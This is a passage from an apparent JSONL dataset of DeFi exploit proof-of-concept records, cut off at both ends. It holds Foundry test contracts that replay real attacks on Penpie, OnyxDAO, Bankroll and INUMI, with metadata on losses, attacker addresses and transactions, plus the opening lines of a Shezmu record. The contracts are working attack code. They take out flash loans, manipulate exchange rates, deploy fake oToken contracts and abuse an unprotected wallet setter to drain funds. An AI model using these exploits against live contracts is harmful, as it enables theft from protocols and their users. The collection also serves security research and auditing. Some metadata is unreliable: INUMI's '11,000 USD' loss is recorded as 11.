limitRouter;\n 0, // uint256 epsSkipMarket; // only used for swap operations, will be ignored otherwise\n new Interfaces.FillOrderParams[](0), // FillOrderParams[] normalFills;\n new Interfaces.FillOrderParams[](0), // FillOrderParams[] flashFills;\n \"\" // bytes optData;\n );\n\n Interfaces.SwapData memory swapData = Interfaces.SwapData(\n Interfaces.SwapType.NONE, // SwapType swapType;\n address(0), // address extRouter;\n \"\", // bytes extCalldata;\n false // bool needScale;\n );\n\n Interfaces.TokenOutput memory output = Interfaces.TokenOutput(\n agETH, //address tokenOut;\n 0, //uint256 minTokenOut;\n agETH, //address tokenRedeemSy;\n address(0), //address pendleSwap;\n swapData //SwapData swapData;\n );\n\n Interfaces(PendleRouterV4).removeLiquiditySingleToken(\n address(this), //address receiver,\n PENDLE_LPT_0x6010, //address market,\n bal_this, //uint256 netLpToRemove,\n output, //TokenOutput calldata output,\n limit //LimitOrderData calldata limit\n );\n }\n\n Interfaces(PendleMarketDepositHelper_0x1c1f).withdrawMarket(PENDLE_LPT_0x038c, saved_value);\n\n uint256 bal_PENDLE_LPT_0x038c = IERC20(PENDLE_LPT_0x038c).balanceOf(address(this));\n IERC20(PENDLE_LPT_0x038c).approve(PendleRouterV4, bal_PENDLE_LPT_0x038c);\n\n {\n Interfaces.LimitOrderData memory limit = Interfaces.LimitOrderData(\n address(0), // address limitRouter;\n 0, // uint256 epsSkipMarket; // only used for swap operations, will be ignored otherwise\n new Interfaces.FillOrderParams[](0), // FillOrderParams[] normalFills;\n new Interfaces.FillOrderParams[](0), // FillOrderParams[] flashFills;\n \"\" // bytes optData;\n );\n\n Interfaces.SwapData memory swapData = Interfaces.SwapData(\n Interfaces.SwapType.NONE, // SwapType swapType;\n address(0), // address extRouter;\n \"\", // bytes extCalldata;\n false // bool needScale;\n );\n\n Interfaces.TokenOutput memory output = Interfaces.TokenOutput(\n rswETH, //address tokenOut;\n 0, //uint256 minTokenOut;\n rswETH, //address tokenRedeemSy;\n address(0), //address pendleSwap;\n swapData //SwapData swapData;\n );\n\n Interfaces(PendleRouterV4).removeLiquiditySingleToken(\n address(this), //address receiver,\n PENDLE_LPT_0x038c, //address market,\n bal_PENDLE_LPT_0x038c, //uint256 netLpToRemove,\n output, //TokenOutput calldata output,\n limit //LimitOrderData calldata limit\n );\n }\n\n IERC20(agETH).balanceOf(address(this));\n IERC20(agETH).transfer(balancerVault, saved_bal1);\n IERC20(rswETH).balanceOf(address(this));\n IERC20(rswETH).transfer(balancerVault, saved_bal2);\n }\n}\n\ninterface Interfaces {\n // PendleYieldContractFactory\n function createYieldContract(\n address SY,\n uint32 expiry,\n bool doCacheIndexSameBlock\n ) external returns (address PT, address YT);\n\n // PendleMarketFactoryV3\n function createNewMarket(\n address PT,\n int256 scalarRoot,\n int256 initialAnchor,\n uint80 lnFeeRateRoot\n ) external returns (address market);\n\n // PendleMarketRegisterHelper\n function registerPenpiePool(\n address _market\n ) external;\n\n // PendleYieldToken\n function mintPY(address receiverPT, address receiverYT) external returns (uint256 amountPYOut);\n\n // PendleMarketV3\n function mint(\n address receiver,\n uint256 netSyDesired,\n uint256 netPtDesired\n ) external returns (uint256 netLpOut, uint256 netSyUsed, uint256 netPtUsed);\n\n function redeemRewards(\n address user\n ) external returns (uint256[] memory);\n\n // PendleMarketDepositHelper_0x1c1f\n function depositMarket(address _market, uint256 _amount) external;\n function withdrawMarket(address _market, uint256 _amount) external;\n\n // balancerVault\n function flashLoan(\n address recipient,\n address[] memory tokens,\n uint256[] memory amounts,\n bytes memory userData\n ) external;\n\n // PendleStaking_0x6e79\n struct Pool {\n address market;\n address rewarder;\n address helper;\n address receiptToken;\n uint256 lastHarvestTime;\n bool isActive;\n }\n\n function pools(\n address\n ) external view returns (Pool memory);\n\n function batchHarvestMarketRewards(address[] calldata _markets, uint256 minEthToRecieve) external;\n\n function harvestMarketReward(address _market, address _caller, uint256 _minEthRecive) external;\n\n // PendleRouterV4\n enum SwapType {\n NONE,\n KYBERSWAP,\n ONE_INCH,\n ETH_WETH\n }\n\n struct SwapData {\n SwapType swapType;\n address extRouter;\n bytes extCalldata;\n bool needScale;\n }\n\n struct TokenInput {\n address tokenIn;\n uint256 netTokenIn;\n address tokenMintSy;\n address pendleSwap;\n SwapData swapData;\n }\n\n function addLiquiditySingleTokenKeepYt(\n address receiver,\n address market,\n uint256 minLpOut,\n uint256 minYtOut,\n TokenInput calldata input\n ) external payable returns (uint256 netLpOut, uint256 netYtOut, uint256 netSyMintPy, uint256 netSyInterm);\n\n enum OrderType {\n SY_FOR_PT,\n PT_FOR_SY,\n SY_FOR_YT,\n YT_FOR_SY\n }\n\n struct Order {\n uint256 salt;\n uint256 expiry;\n uint256 nonce;\n OrderType orderType;\n address token;\n address YT;\n address maker;\n address receiver;\n uint256 makingAmount;\n uint256 lnImpliedRate;\n uint256 failSafeRate;\n bytes permit;\n }\n\n struct FillOrderParams {\n Order order;\n bytes signature;\n uint256 makingAmount;\n }\n\n struct LimitOrderData {\n address limitRouter;\n uint256 epsSkipMarket;\n FillOrderParams[] normalFills;\n FillOrderParams[] flashFills;\n bytes optData;\n }\n\n struct TokenOutput {\n address tokenOut;\n uint256 minTokenOut;\n address tokenRedeemSy;\n address pendleSwap;\n SwapData swapData;\n }\n\n function removeLiquiditySingleToken(\n address receiver,\n address market,\n uint256 netLpToRemove,\n TokenOutput calldata output,\n LimitOrderData calldata limit\n ) external returns (uint256 netTokenOut, uint256 netSyFee, uint256 netSyInterm);\n\n // MasterPenpie\n function multiclaim(\n address[] calldata _stakingTokens\n ) external;\n}\n", "type": "exploit_poc", "protocol": "Penpiexyzio", "date": "2024-09", "file_name": "Penpiexyzio_exp.sol", "attack_vector": "flash_loan", "content_hash": "06064918b9e1a99e", "collected_at": "2026-01-07T10:59:16.533744", "_source": "postmortems", "chain": "unknown", "block_number": 20671878, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testPoC_A() public {\n attacker = new Attacker();\n\n // First tx: 0x7e7f9548f301d3dd863eac94e6190cb742ab6aa9d7730549ff743bf84cbd21d1\n attacker.createMarket();\n\n // To pass `if (lastRewardBlock != block.number) {` of PendleMarketV3 contract\n vm.roll(block.number + 1);\n\n // Second tx: 0x42b2ec27c732100dd9037c76da415e10329ea41598de453bb0c0c9ea7ce0d8e5\n attacker.attack();\n\n console.log(\"Final balance in agETH :\", IERC20(agETH).balanceOf(address(attacker)));\n console.log(\"Final balance in rswETH:\", IERC20(rswETH).balanceOf(address(attacker)));\n }\n}\n\n// Minimum contract just to make the hack work\nabstract contract ERC20 {\n string public name = \"\";\n string public symbol = \"\";\n uint8 public immutable decimals = 18;\n mapping(address => uint256) public balanceOf;", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 6, "quality_estimate": "medium", "title": "Penpiexyzio Exploit (2024-09)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 4.1M VUSD, 7.35M XCN, 5K DAI, 0.23 WBTC, 50K USDT (>$3.8M USD)\n// Attacker : https://etherscan.io/address/0x680910cf5fc9969a25fd57e7896a14ff1e55f36b\n// Attack Contract :\n// - Main: https://etherscan.io/address/0xa57eda20be51ae07df3c8b92494c974a92cf8956\n// - Rate Manipulator: https://etherscan.io/address/0xae7d68b140ed075e382e0a01d6c67ac675afa223\n// - Fake oTokenRepay: https://etherscan.io/address/0x4f8b8c1b828147c1d6efc37c0326f4ac3e47d068\n// - Fake underlying: https://etherscan.io/address/0x3f100c9e9b9c575fe73461673f0770435575dc0e\n// - Fake oTokenCollateral: https://etherscan.io/address/0xad45812c62fcbc8d54d0cc82773e85a11f19a248\n// Vulnerable Contract : (NFTLiquidation) https://etherscan.io/address/0xf10bc5be84640236c71173d1809038af4ee19002\n// Attack Tx : https://etherscan.io/tx/0x46567c731c4f4f7e27c4ce591f0aebdeb2d9ae1038237a0134de7b13e63d8729\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xf10bc5be84640236c71173d1809038af4ee19002#code\n// L671-678, liquidateWithSingleRepay() function\n// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)\n\n// Contracts involved\naddress constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;\naddress constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\naddress constant oETH = 0x2CCb7d00a9E10D0c3408B5EEfb67011aBfaCb075;\naddress constant Unitroller = 0xcC53F8fF403824a350885A345ED4dA649e060369;\naddress constant oXCN = 0xBD20ae088deE315ace2C08Add700775F461fEa64;\naddress constant oDAI = 0xF3354d3e288CE599988e23f9ad814Ec1b004d74a;\naddress constant oBTC = 0x7a89e16Cc48432917C948437AC1441b78D133A16;\naddress constant oUSDT = 0x2C6650126B6E0749f977D280c98415ed05894711;\naddress constant oVUSD = 0xeE894c051c402301bC19bE46c231D2a8E38b0451;\naddress constant VUSD = 0x0BFFDD787C83235f6F0afa0Faed42061a4619B7a;\naddress constant NFTLiquidationProxy = 0x323398DE3C35F96053D930d25FE8d92132F83d44;\naddress constant uniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;\n\naddress constant XCN = 0xA2cd3D43c775978A96BdBf12d733D5A1ED94fb18;\naddress constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;\naddress constant BTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;\naddress constant _USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;\n\ncontract OnyxDAO_exp is Test {\n address attacker = makeAddr(\"attacker\");\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_834_658 - 1);\n }\n\n function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attackerC = new AttackerC();\n\n // tx:\n attackerC.attack();\n\n console.log(\"Final balance in VUSD :\", IERC20(VUSD).balanceOf(address(attacker)));\n console.log(\"Final balance in XCN:\", IERC20(XCN).balanceOf(address(attacker)));\n console.log(\"Final balance in DAI:\", IERC20(DAI).balanceOf(address(attacker)));\n console.log(\"Final balance in WBTC:\", IERC20(BTC).balanceOf(address(attacker)));\n console.log(\"Final balance in USDT:\", IERC20(_USDT).balanceOf(address(attacker)));\n }\n}\n\ncontract AttackerC {\n address attacker;\n\n function attack() external {\n attacker = msg.sender;\n\n address[] memory tokens = new address[](1);\n tokens[0] = weth;\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 2000 ether;\n IFS(balancerVault).flashLoan( // L2\n address(this),\n tokens,\n amounts,\n hex\"3030\" // WHY????\n );\n }\n\n function receiveFlashLoan(\n address[] memory tokens,\n uint256[] memory amounts,\n uint256[] memory feeAmounts,\n bytes memory userData\n ) external {\n uint256 balWETH = IERC20(weth).balanceOf(address(this)); // L7\n\n IFS(weth).withdraw(balWETH); // L8\n uint256 cashOETH1 = IFS(oETH).getCash(); // L11\n IFS(oETH).mint{value: balWETH - 0.5 ether}(); // L12\n\n address[] memory markets = IFS(Unitroller).getAllMarkets(); // L22\n IFS(Unitroller).enterMarkets(markets); // L24 WHY?\n\n uint256 cashOETH2 = IFS(oETH).getCash(); // L36\n IFS(oETH).borrow(cashOETH1); // L37\n // go to fallback\n\n uint256 cash0 = IFS(oXCN).getCash(); // L201\n IFS(oXCN).borrow(cash0); // L205\n address underlying0 = IFS(oXCN).underlying(); // L381\n IFS(underlying0).transfer(attacker, cash0); // L382\n\n uint256 cash1 = IFS(oDAI).getCash(); // L384\n IFS(oDAI).borrow(cash1); // L388\n address underlying1 = IFS(oDAI).underlying(); // L564\n IFS(underlying1).transfer(attacker, cash1); // L565\n\n uint256 cash2 = IFS(oBTC).getCash(); // L567\n IFS(oBTC).borrow(cash2); // L571\n address underlying2 = IFS(oBTC).underlying(); // L747\n IFS(underlying2).transfer(attacker, cash2); // L748\n\n uint256 cash3 = IFS(oUSDT).getCash(); // L750\n IFS(oUSDT).borrow(cash3); // L754\n address underlying3 = IFS(oUSDT).underlying(); // L930\n IUSDT(underlying3).transfer(attacker, cash3); // L931\n\n (, uint256 liq,) = IFS(Unitroller).getAccountLiquidity(address(this)); // L933\n\n address ChainlinkOracle = IFS(Unitroller).oracle(); // L1183\n uint256 uPrice = IFS(ChainlinkOracle).getUnderlyingPrice(oVUSD); // L1185\n IFS(oVUSD).borrow(liq / 1e12); // L1091\n\n AttackerC2 attackerC2 = new AttackerC2();\n payable(address(attackerC2)).transfer(0.5 ether);\n attackerC2.attack();\n\n address fake_underlying = address(new Fake_underlying());\n address fake_oTokenCollateral = address(new Fake_oTokenCollateral());\n address fake_oTokenRepay = address(new Fake_oTokenRepay(fake_underlying, address(this)));\n\n IFS(VUSD).transfer(fake_oTokenRepay, 1); // L2313\n\n IFS(NFTLiquidationProxy).liquidateWithSingleRepay( // L2316\n payable(address(this)), fake_oTokenCollateral, fake_oTokenRepay, 4_764_735_291_322);\n IFS(VUSD).approve(uniV3Router, 300_000_000_000);\n\n IFS.ExactInputSingleParams memory input = IFS.ExactInputSingleParams( // L2712\n VUSD, // address tokenIn;\n weth, // address tokenOut;\n 3000, // uint24 fee;\n address(this), // address recipient;\n 1_727_352_120, // uint256 deadline;\n 300_000_000_000, // uint256 amountIn;\n 0, // uint256 amountOutMinimum;\n 0 // uint160 sqrtPriceLimitX96;\n );\n\n IFS(uniV3Router).exactInputSingle(input); // L2712\n\n IFS(weth).deposit{value: address(this).balance}(); // L2725\n\n IFS(weth).transfer(balancerVault, 2000 ether); // L2727\n\n uint256 BalVUSD = IFS(VUSD).balanceOf(address(this)); // L2729\n\n IFS(VUSD).transfer(attacker, BalVUSD); // L2731\n }\n\n receive() external payable {}\n}\n\ncontract AttackerC2 {\n function attack() external {\n uint256 x = 215_227_348 + 1;\n uint256 y = 330_454_691 + 10;\n\n IFS _oETH = IFS(oETH);\n _oETH.exchangeRateStored(); // view\n oETH.call{value: x}(\"\");\n\n for (uint256 i; i < 54; i++) {\n _oETH.exchangeRateStored(); // view\n _oETH.redeemUnderlying(y);\n _oETH.exchangeRateStored(); // view\n oETH.call{value: x}(\"\");\n }\n\n _oETH.exchangeRateStored(); // view\n _oETH.redeemUnderlying(y);\n payable(address(msg.sender)).transfer(address(this).balance);\n }\n\n receive() external payable {}\n}\n\ncontract Fake_oTokenRepay {\n address fake_underlying;\n address attackerC;\n\n constructor(address _fake_underlying, address _attackerC) {\n fake_underlying = _fake_underlying;\n attackerC = _attackerC;\n }\n\n function borrowBalanceCurrent(\n address\n ) external returns (uint256) {\n return 0;\n }\n\n function underlying() external view returns (address) {\n return fake_underlying;\n }\n\n function liquidateBorrow(address, uint256, address) external returns (uint256) {\n return 0;\n }\n\n function mint(\n uint256\n ) external returns (bool) {\n return false;\n }\n\n function balanceOf(\n address\n ) external returns (uint256) {\n return 0;\n }\n\n function transfer(address, uint256) external returns (bool) {\n IFS(VUSD).approve(oVUSD, type(uint256).max); // L2477\n IFS(oVUSD).liquidateBorrow(attackerC, 1, oETH); // L2480\n uint256 bal_oETH = IFS(oETH).balanceOf(address(this)); // L2691\n IFS(oETH).redeem(bal_oETH); // L2692\n payable(attackerC).transfer(address(this).balance);\n return true;\n }\n\n receive() external payable {}\n}\n\ncontract Fake_underlying {\n function transferFrom(address, address, uint256) external returns (bool) {\n return true;\n }\n\n function approve(address, uint256) external returns (bool) {\n return true;\n }\n\n function transfer(address, uint256) external returns (bool) {\n return true;\n }\n}\n\ncontract Fake_oTokenCollateral {\n function balanceOf(\n address\n ) external returns (uint256) {\n return 0;\n }\n\n function underlying() external view returns (address) {\n return address(this);\n }\n}\n\ninterface IFS is IERC20 {\n // balancerVault\n function flashLoan(\n address recipient,\n address[] memory tokens,\n uint256[] memory amounts,\n bytes memory userData\n ) external;\n\n // WETH\n function withdraw(\n uint256 wad\n ) external;\n function deposit() external payable;\n\n // OEther / OErc20Delegate\n function getCash() external view returns (uint256);\n function mint() external payable;\n function borrow(\n uint256 borrowAmount\n ) external returns (uint256);\n function underlying() external view returns (address);\n function exchangeRateStored() external view returns (uint256);\n function redeemUnderlying(\n uint256 redeemAmount\n ) external returns (uint256);\n\n // Unitroller\n function getAllMarkets() external view returns (address[] memory);\n function enterMarkets(\n address[] calldata oTokens\n ) external returns (uint256[] memory);\n function getAccountLiquidity(\n address account\n ) external view returns (uint256, uint256, uint256);\n function oracle() external view returns (address);\n\n // ChainlinkOracle\n function getUnderlyingPrice(\n address oToken\n ) external view returns (uint256);\n\n // NFTLiquidationProxy\n function liquidateWithSingleRepay(\n address payable borrower,\n address oTokenCollateral,\n address oTokenRepay,\n uint256 repayAmount\n ) external payable;\n\n // Uniswap V3: SwapRouter\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactInputSingle(\n ExactInputSingleParams calldata params\n ) external payable returns (uint256 amountOut);\n\n // oVUSD\n function liquidateBorrow(\n address borrower,\n uint256 repayAmount,\n address oTokenCollateral\n ) external returns (uint256);\n\n // oETH\n function redeem(\n uint256 redeemTokens\n ) external returns (uint256);\n}\n", "type": "exploit_poc", "protocol": "OnyxDAO", "date": "2024-09", "file_name": "OnyxDAO_exp.sol", "attack_vector": "flash_loan", "content_hash": "d9606c3984a4206f", "collected_at": "2026-01-07T10:59:16.533847", "_source": "postmortems", "chain": "ethereum", "block_number": 20834658, "total_lost_raw": "4.1M VUSD, 7.35M XCN, 5K DAI, 0.23 WBTC, 50K USDT (>$3.8M USD)", "total_lost_usd": 4099999.9999999995, "attacker_address": "https://etherscan.io/address/0x680910cf5fc9969a25fd57e7896a14ff1e55f36b", "attack_contract": null, "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x46567c731c4f4f7e27c4ce591f0aebdeb2d9ae1038237a0134de7b13e63d8729", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "4.1M VUSD, 7.35M XCN, 5K DAI, 0.23 WBTC, 50K USDT (>$3.8M USD)", "category": "flash-loan", "exploit_code": "function testPoC() public {\n vm.startPrank(attacker);\n AttackerC attackerC = new AttackerC();\n\n // tx:\n attackerC.attack();\n\n console.log(\"Final balance in VUSD :\", IERC20(VUSD).balanceOf(address(attacker)));\n console.log(\"Final balance in XCN:\", IERC20(XCN).balanceOf(address(attacker)));\n console.log(\"Final balance in DAI:\", IERC20(DAI).balanceOf(address(attacker)));\n console.log(\"Final balance in WBTC:\", IERC20(BTC).balanceOf(address(attacker)));\n console.log(\"Final balance in USDT:\", IERC20(_USDT).balanceOf(address(attacker)));\n }\n}\n\ncontract AttackerC {\n address attacker;", "has_exploit_code": true, "keyinfo_total_lost": "4.1M VUSD, 7.35M XCN, 5K DAI, 0.23 WBTC, 50K USDT (>$3.8M USD)", "keyinfo_attacker": "https://etherscan.io/address/0x680910cf5fc9969a25fd57e7896a14ff1e55f36b", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x46567c731c4f4f7e27c4ce591f0aebdeb2d9ae1038237a0134de7b13e63d8729", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$4.10M", "content_richness_score": 9, "quality_estimate": "high", "title": "OnyxDAO Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~404 WBNB\n// Attacker : 0x4645863205b47a0a3344684489e8c446a437d66c\n// Attack Contract : 0x8f921e27e3af106015d1c3a244ec4f48dbfcad14\n// Vulnerable Contract : 0x564d4126af2b195ffaa7fb470ed658b1d9d07a5\n// Attack Tx : 0xd4c7c11c46f81b6bf98284e4921a5b9f0ff97b4c71ebade206cb10507e4503b0\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x564d4126af2b195ffaa7fb470ed658b1d9d07a54#code\n\n// @Analysis\n// https://x.com/Phalcon_xyz/status/1838042368018137547\n\ncontract ContractTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V3 pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n IBankrollNetworkStack bankRoll = IBankrollNetworkStack(0x564D4126AF2B195fFAa7fB470ED658b1D9D07A54);\n uint256 borrow_amount;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 42_481_611 - 1);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker WBNB before exploit\", WBNB.balanceOf(address(this)), 18);\n\n borrow_amount = 16_000 ether;\n pool.flash(address(this), 0, borrow_amount, \"0x01\");\n\n emit log_named_decimal_uint(\"[End] Attacker WBNB after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes memory) public {\n WBNB.approve(address(bankRoll), type(uint256).max);\n\n bankRoll.buyFor(address(this), WBNB.balanceOf(address(this)));\n\n uint256 bal_bank_roll = WBNB.balanceOf(address(bankRoll));\n\n emit log_named_decimal_uint(\"[Before] Attacker bank roll balance\", bankRoll.myTokens(), 0);\n emit log_named_decimal_uint(\"[Before] Attacker bank roll dividends\", bankRoll.dividendsOf(address(this)), 0);\n\n for (uint256 i = 0; i < 2810; i++) {\n bankRoll.buyFor(address(bankRoll), bal_bank_roll);\n }\n\n emit log_named_decimal_uint(\"[After] Attacker bank roll balance\", bankRoll.myTokens(), 0);\n emit log_named_decimal_uint(\"[After] Attacker bank roll dividends\", bankRoll.dividendsOf(address(this)), 0);\n\n bankRoll.sell(bankRoll.myTokens());\n bankRoll.withdraw();\n\n WBNB.transfer(address(pool), borrow_amount + fee0 + fee1);\n }\n\n receive() external payable {}\n}\n\ninterface IBankrollNetworkStack {\n function buyFor(address _customerAddress, uint256 buy_amount) external returns (uint256);\n function myTokens() external view returns (uint256);\n function sell(\n uint256 _amountOfTokens\n ) external;\n function dividendsOf(\n address _customerAddress\n ) external view returns (uint256);\n function withdraw() external;\n}\n", "type": "exploit_poc", "protocol": "Bankroll", "date": "2024-09", "file_name": "Bankroll_exp.sol", "attack_vector": null, "content_hash": "1b331f126bbe735b", "collected_at": "2026-01-07T10:59:16.533930", "_source": "postmortems", "chain": "bsc", "block_number": 42481611, "total_lost_raw": "~404 WBNB", "total_lost_usd": 404.0, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "~404 WBNB", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~404 WBNB", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$404", "content_richness_score": 3.48, "quality_estimate": "low", "title": "Bankroll Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 11,000 USD\n// Attacker : https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd\n// Attack Contract : https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd\n// Vulnerable Contract : https://etherscan.io/address/0xdb27d4ff4be1cd04c34a7cb6f47402c37cb73459\n// Attack Tx : https://etherscan.io/tx/0xbeef352f716973043236f73dd5104b9d905fd04b7fc58d9958ac5462e7e3dbc1\n\n// @Info\n// Vulnerable Contract Code : N/A\n\n// @Analysis\n\n// Post-mortem : https://x.com/TenArmorAlert/status/1834504921561100606\n// Twitter Guy : https://x.com/TenArmorAlert/status/1834504921561100606\n// Hacking God : N/A\n\naddress constant addr1 = 0xdb27D4ff4bE1cd04C34A7cB6f47402c37Cb73459;\naddress constant attacker = 0xd215FFaf0F85fB6f93F11E49Bd6175ad58af0Dfd;\naddress constant addr2 = 0xd129D8C12f0e7aA51157D9e6cc3F7Ece2dc84ecD;\n\ninterface ITarget {\n function setMarketingWallet(address walletAddress) external;\n function rescueEth() external;\n}\n\ncontract ContractTest is Test {\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20729548);\n deal(attacker, 1.07297e-13 ether);\n }\n \n function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n deal(address(attC), 5.000000000000028 ether);\n attC.attack{value: 1.07297e-13 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xd129D8C12f0e7aA51157D9e6cc3F7Ece2dc84ecD\ncontract AttackerC {\n function attack() public payable {\n ITarget(addr1).setMarketingWallet(address(this));\n ITarget(addr1).rescueEth();\n (bool s, ) = attacker.call{value: address(this).balance}(\"\");\n }\n \n fallback() external payable {}\n\n receive() external payable {}\n}", "type": "exploit_poc", "protocol": "INUMI", "date": "2024-09", "file_name": "INUMI_exp.sol", "attack_vector": null, "content_hash": "022b84787d2f57c9", "collected_at": "2026-01-07T10:59:16.533976", "_source": "postmortems", "chain": "ethereum", "block_number": 20729548, "total_lost_raw": "11,000 USD", "total_lost_usd": 11.0, "attacker_address": "https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd", "attack_contract": "https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd", "vulnerable_contract": "https://etherscan.io/address/0xdb27d4ff4be1cd04c34a7cb6f47402c37cb73459", "attack_tx": "https://etherscan.io/tx/0xbeef352f716973043236f73dd5104b9d905fd04b7fc58d9958ac5462e7e3dbc1", "postmortem_url": "https://x.com/TenArmorAlert/status/1834504921561100606", "twitter_url": "https://x.com/TenArmorAlert/status/1834504921561100606", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "11,000 USD", "category": "unknown", "exploit_code": "function testPoC() public {\n emit log_named_decimal_uint(\"before attack: balance of attacker\", address(attacker).balance, 18);\n vm.startPrank(attacker, attacker);\n AttackerC attC = new AttackerC();\n deal(address(attC), 5.000000000000028 ether);\n attC.attack{value: 1.07297e-13 ether}();\n vm.stopPrank();\n emit log_named_decimal_uint(\"after attack: balance of attacker\", address(attacker).balance, 18);\n }\n}\n\n// 0xd129D8C12f0e7aA51157D9e6cc3F7Ece2dc84ecD\ncontract AttackerC {", "has_exploit_code": true, "keyinfo_total_lost": "11,000 USD", "keyinfo_attacker": "https://etherscan.io/address/0xd215ffaf0f85fb6f93f11e49bd6175ad58af0dfd", "keyinfo_attack_contract": "https://etherscan.io/address/0xd129d8c12f0e7aa51157d9e6cc3f7ece2dc84ecd", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xdb27d4ff4be1cd04c34a7cb6f47402c37cb73459", "keyinfo_attack_tx": "https://etherscan.io/tx/0xbeef352f716973043236f73dd5104b9d905fd04b7fc58d9958ac5462e7e3dbc1", "analysis_postmortem": "https://x.com/TenArmorAlert/status/1834504921561100606", "analysis_twitter": "https://x.com/TenArmorAlert/status/1834504921561100606", "funds_lost_formatted": "$11", "content_richness_score": 7.02, "quality_estimate": "medium", "title": "INUMI Exploit (2024-09)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 4.9M USD\n// Attacker : https://etherscan.io/address/0xa3a64255484ad65158af0f9d96b5577f79901a1d\n// Attack Contract : https://etherscan.io/address/0xEd4B3d468DEd53a322A8B8280B6f35aAE8bC499C\n// Vulnerable Contract : https://etherscan.io/address/0x641249dB01d5C9a04d1A223765fFd15f95167924\n// Attack Tx : https://etherscan.io/tx/0x39328ea4377a8887d3f6ce91b2f4c6b19a851e2fc5163e2f83bbc2fc136d0c71\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0x641249dB01d5C9a04d1A223765fFd15f95167924#code\n\n// @Analysis\n// Post-mortem : https://medium.com/coinmonks/decoding-shezmus-4-9-million-exploit-10dc0266b25b\n// Twitter Guy : https://x.com/shoucccc/status/1837228053862437244\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant SHEZMU_VAULT_PROXY = 0x75a04A1FeE9e6f26385ab1287B20ebdCbdabe478;\naddress constant COLLATERAL_TOKEN = 